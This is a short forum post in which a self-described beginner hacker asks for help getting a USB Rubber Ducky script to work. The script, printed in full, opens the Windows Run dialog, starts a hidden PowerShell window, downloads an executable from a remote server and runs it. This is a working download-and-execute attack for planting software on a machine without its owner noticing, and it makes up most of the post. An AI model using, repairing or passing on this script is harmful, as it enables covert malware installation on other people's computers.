Downoload Payload

[Patr]

Hey guys, my name is Patrick. Im new in the hacking world, im learning. I have a question, I'm trying to download and execute a payload in my rubber ducky but I can't. 

This is the script:

DELAY 2000
GUI r
DELAY 1000
STRING powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://myserver/file.exe','C:\file.exe');&'C:\file.exe'
ENTER

 

Can someone help me please.